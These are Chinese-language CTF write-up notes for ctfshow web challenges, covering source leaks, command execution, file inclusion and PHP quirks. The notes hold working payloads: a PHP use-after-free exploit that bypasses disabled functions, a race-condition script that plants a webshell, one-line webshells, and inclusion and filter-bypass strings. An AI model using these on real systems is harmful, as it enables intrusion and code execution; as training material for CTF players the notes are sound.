----------信息搜集----------
源码泄露
查看源码即可
前台JS绕过
直接开发者工具查看源码
当然也可以抓包查看
也可以禁用js查看源码
协议头信息泄露
或者抓一下包也可
robots后台泄露
phps源码泄露
根据题目猜测输入index.phps
下载到一个index.phps打开得到flag
源码压缩包泄露
访问www.zip
没有flag,尝试访问fl000g.txt
版本控制泄露源码
Git是一个开源的分布式版本控制系统
git代码泄露,git上传代码会在目录创建隐藏文件夹.git
访问/.git/得flag
版本控制泄露源码2
SVN是subversion的缩写,是一个开放源代码的版本控制系统
访问/.svn/得flag
vim临时文件泄露
临时文件是在vim编辑文本时就会创建的文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
访问/index.php.swp
cookie泄露
域名txt记录泄露
在线DNS域名解析
https://whois.chinaz.com/
----https://www.jsons.cn/nslookup/
https://zijian.aliyun.com/
敏感信息公布
直接访问robots.txt
要找到密码
在之前的页面最下面发现
登录即得flag
内部技术文档泄露
得到登录账号密码
访问http://385a2bff-ca1b-445d-9065-740157545c7c.challenge.ctf.show:8080/system1103/login.php
输入登录得flag
编辑器配置不当
打开图片上传,查看图片空间,一层一层找到flag的文件夹
访问/nothinghere/fl000g.txt
得flag
密码逻辑脆弱
访问/admin
不知道账号密码,只好点击忘记密码
找QQ号
登录即得到flag
探针泄露
php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针 点击phpinfo
搜索ctfshow
CDN穿透
js敏感信息泄露
打开发现
去转换
访问/110.php得flag
前端密钥泄露
数据库恶意下载
url路径添加/db/db.mdb 下载文件
打开搜索得到flag
----------命令执行----------
web40
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
c的结果到黑洞了,没有显示
web55-56
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
看p神博客 无字母数字提高篇
import requests
while True:
url = "http://34ce7b1e-817f-45bc-bc3f-77fea7d24cbe.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break
web57
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
要得等于36
没过滤$,利用括号的数学运算
-37取反为36,即为
$((~$((-1+-1+-1+....))))
最后
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
web58
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
不清楚禁用了哪些函数,一个一个尝试
可以POST
c=print_r(scandir(current(localeconv())));
或者
c=show_source('flag.php');
c=highlight_file('flag.php');
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
web59
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
show_sourse没有被禁用
c=show_source('flag.php');
或者POSTinclude函数
GET(?1=后面的由LFI->PHP wrapper Base64传入)
http://f9efd4da-93c5-4bba-8d9c-07d58679e553.challenge.ctf.show:8080/?1=php://filter/convert.base64-encode/resource=flag.php
POST
c=include($_GET[1]);
web60-65
c=show_source('flag.php');
web66
show_source
终于被过了,highlight_file
没被过滤,但是
查看文件根目录
c=print_r(scandir('/'));
不把flag放在flag.php了
c=highlight_file('/flag.txt');
web67
这题相比于上题多过滤了print_r()函数,可以使用var_dump()函数代替
c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');
web68
好家伙,这题把highlight_file()函数给ban了,看不到源码
c=var_dump(scandir('/'));
c=include('/flag.txt');
虽然把print_r()函数ban了,但是这题没有ban include,可以利用文件包含漏洞读取flag.txt
web69
c=include('flag.php');echo $flag;
php有以下几种读取目录的方式:
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
print_r和var_dump都被禁用了。使用后面几个都可以。
c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}
web70
同web69
web71
忘记还有源码:
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
ob_get_contents():
此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回false 。
可以看到如果输出的是数字或者字母,就都变成?。
这里通过exit();使程序提前退出,绕过后面的正则表达式
c=include('/flag.txt');exit(0);
web72
c=$a="glob:///*.txt";
if( $b = opendir($a)) {
while(($file = readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
exit();
群主大大提供的uaf
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
web73
web74
scandir被禁用,使用DirectoryIterator类
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $key=>$value){echo $key."=>".$value;};exit(0);?>
c=include(’/flagx.txt’);exit(0);
web75
open_basedir没有限制根目录,但限制了flag文件.
include()不行了,可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag,payload如下:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web76
同上
web77
先读取目录:
使用POD读取flag36x.php但是失败了,根据提示使用PHP7.4以上才有的FFI进行命令执行
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
readflag是专门用来读flag的。
然后访问/1.txt即可。
web118
题目附带的图片
过滤了好多东西
这题利用了bash的内置变量
在linux中可以用~获取变量的最后几位
1.$PATH
用途:可执行文件的搜索路径。
用例:echo $PATH 通常是bin结尾
2. $PWD
用途:工作目录(你当前所在的目录)
用例:echo $PWD 题目环境中肯定是/var/www/html
而字母起到的作用是和0一样的
结合图片组合html的l和bin的n
所以${PATH:~A}${PWD:~A}就是nl
题目又说到flag in flag.php里,所以
${PATH:~A}${PWD:~A} ????.???
web119
${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}} =3
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} =tac
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???
web120
PD9waHAKJGZsYWc9ImN0ZnNob3d7YzBhNWEwOWUtYWJmOC00OGZjLWI5YzktNzJiNzE2MWU2M2Y0fSI7Cj8+
base64解码
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
/bin/base64 flag.php
web121
过滤了SHLVL,就要再找一个1
只好用#?
表示返回上一次的执行结果,执行结果为非正常为1,正常为0。
先传一个code=a,执行结果为非正常,即为1。
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
web122
相比上题过滤了pwd #
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
#pi和abs是数学函数中最短的
#base_convert(37907361743,10,36)="hex2bin"
#dechex(1598506324)="5f474554"
#hex2bin(5f474554)="_GET"
#$pi="_GET";$_GET{abs}($_GET{acos});&abs=system&acos=ls
#$pi="_GET";system(ls);
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php
----------文件包含----------
web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
直接构造:?file=flag.php ,没有得到想要的结果,可能是被解析了,所以利用php伪协议
php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include()函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
所以最终的payload如下:
/?file=php://filter/convert.base64-encode/resource=flag.php
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
GET:?file=php://input
POST:<?php system("ls"); ?>
然后
POST:<?php system("cat flag.php"); ?>
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这里有一个过滤,把php替换了
大小写绕过
GET:?file=Php://input
POST:<?php system("ls"); ?>
然后
POST:<?php system("cat flag.php"); ?>
data://伪协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
将<?php system("cat flag.php"); ?>编码得到PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=
构造:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=
然后查看源代码得到flag
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了data
大小写加input绕过可行
日志文件包含
访问日志文件记录了服务器收到的每一次请求的
IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号无法包含其中,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。
访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
当然用hackbar也可以
web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
:被过滤了
只能用日志包含/?file=/var/log/nginx/access.log
过程和web80一样
web82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了.不能通过文件包含来进行绕过
利用session.upload_progress进行文件包含
简而言之,我们可以利用session.upload_progress
将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off
的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp
或 /var/lib/php/session
例如我们在Cookie中设置了PHPSESSID=flag
,php会在服务器上创建文件:/tmp/sess_flag
,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里。我们可以控制PHP_SESSION_UPLOAD_PROGRESS的值为一句话木马,就可以达到命令注入的效果了。
还有一个关键点就是session.upload_progress.cleanup
默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,也就是文件还没上传完的时候去包含session文件的内容(也就是一个木马),进而进行命令执行写出一个新的可以随时访问的木马文件。拿一个脚本来完成:
#-- coding:UTF-8 --
import io
import requests
import threading
url = 'http://c2f7b237-d72b-4215-b1c0-23d0a12375f9.challenge.ctf.show:8080/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}
def write(session):
fileBytes=io.BytesIO(b'a' * 1024 * 50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):
while True:
response = session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
response2=session.get(url+'1.php')
if response2.status_code==200:
print('++++++++++++done++++++++++++')
else:
print(response2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
web83-86
web83
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同web82
web84
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
加了一个rm -rf /tmp/*
,但是我们是多线程的,可能前一个刚把/tmp/*
给删了,并打算接着执行include($file),但是在这时另一个线程连接了进来,服务器为其又创建一个/tmp/sess_ctfshow,这样之前那么线程就可以include成功了。所以上面一题的脚本仍然可以成功。
web85
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
和上题一样,因为多线程的原因可以执行成功。不行的话可以多加几个线程。
web86
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
限制了include()和require()的路径,但是并不影响上一题的payload
平时include()/require()文件的时候,PHP先会在当前目录下找找有没有这个路径,如果没有,然后就会在include paths里面找
所谓的include paths不是一个目录,而是很多个目录,这些目录可以通过get_include_path();得到。
以上题目都用web82的题解
web87
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
这题的重点就是绕过
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
filter伪协议写入木马
php://filter/write=convert.base64-decode/resource=1.php
传入file,file会进行过滤以及urldecode(),所以传file时需要两次urlencode,这样可以绕过过滤(第一次解码是自动解码,此时字符串里面没有诸如php的字符,第二次解码是代码中的urldecode(),这时候恢复成正常的写过滤器。)
两次url编码
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
对于一句话<?php eval($_POST[cmd])?>
base64编码后PD9waHAgZXZhbCgkX1BPU1RbY21kXSk/Pg==
再在开头补两个a:content=aaPD9waHAgZXZhbCgkX1BPU1RbY21kXSk/Pg==
关于content,大佬的解释是原文中“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。
base64解码得flag.
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤了很多,但是没有过滤data
<?php system('cat fl0g.php'); ?>base64编码后得到PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4=
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
查看源码得flag
web116
打开以后是一个视频播放页面,提示是LFI,尝试直接本地文件包含:
/?file=/var/www/html/index.php
需要抓包,要不然会解析为流媒体文件
直接包含flag即可:
/?file=flag.php
web117
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
file_put_content和死亡·杂糅代码之缘
思路:使用过滤器写入一句话木马,这样在写入后进行过滤器指定的编码(解码)的过程中会把die()函数破坏掉,进而执行我们写入的木马。
payload:
/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
----------php特性----------
web89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
preg_match()函数一个漏洞 无法处理数组
?num[]=1
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
对intval函数的绕过
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
intval('4476a')===4476
?num=4476.0
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
i 不区分(ignore)大小写
m 多(more)行匹配 若存在换行n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配
这里的要求是,首先经过第一个正则匹配,匹配php并且进行多行匹配,然后第二个正则是匹配php,因此思路就是经过第一个匹配,不经过第二个匹配,payload:?cmd=%0aphp
,第一个正则时通过换行通过匹配,第二个正则因为%0a不通过。
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
和90一样
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
多了对字母的绕过,那换用8进制
?num=010574
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
加了一个strpos()
专门拿来防第一位是0,那这里只要不是开头第一位是0就可以了,那我们给进制前加一个空格%20或者先换行%0a,或者使用浮点数加小数点4476.0的方法绕过
?num=%20010574
?num=%0a010574
?num=4476.0
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
多过滤个点,不能用浮点型绕过了,在前面加空格、换行仍可
?num=%20010574
?num=%0a010574
web96
payload
?u=php://filter/read=convert.base64-encode/resource=flag.php
其他payload
/var/www/html/flag.php 绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
a[]=1&b[]=2
拓展:
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
md5强碰撞
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
